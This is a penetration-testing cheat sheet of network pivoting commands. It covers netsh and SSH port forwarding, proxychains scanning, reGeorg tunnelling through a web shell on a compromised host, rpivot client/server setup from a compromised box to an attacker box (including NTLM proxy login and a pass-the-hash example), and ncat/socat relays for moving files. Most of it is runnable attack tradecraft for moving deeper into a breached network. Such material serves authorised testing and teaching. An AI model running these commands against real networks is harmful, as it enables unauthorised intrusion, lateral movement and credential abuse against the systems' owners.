Network Pivoting Techniques

Windows netsh Port Forwarding

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110

listenaddress – is a local IP address waiting for a connection.
listenport – local listening TCP port (the connection is waited on it).
connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command

Cool Tip : Konami SSH Port forwarding

[ENTER] + [~C]
-D 1090

Local Port Forwarding

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]

Proxychains

Config file: /etc/proxychains.conf

[ProxyList]
socks4 localhost 8080

Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6

Web SOCKS - reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp

Rpivot

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

Through corporate proxy

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

Basic Pivoting Types

Type	Use Case
Listen - Listen	Exposed asset, may not want to connect out.
Listen - Connect	Normal redirect.
Connect - Connect	Can’t bind, so connect to bridge two hosts

Listen - Listen

Type	Use Case
ncat	`ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`
socat	`socat -v tcp-listen:8080 tcp-listen:9090`
remote host 1	`ncat localhost 8080 < file`
remote host 2	`ncat localhost 9090 > newfile`

Listen - Connect

Type	Use Case
ncat	`ncat -l -v -p 8080 -c "ncat localhost 9090"`
socat	`socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090`
remote host 1	`ncat localhost -p 8080 < file`
remote host 2	`ncat -l -p 9090 > newfile`

Connect - Connect

Type	Use Case
ncat	`ncat localhost 8080 -c "ncat localhost 9090"`
socat	`socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090`
remote host 1	`ncat -l -p 8080 < file
remote host 2	`ncat -l -p 9090 > newfile`

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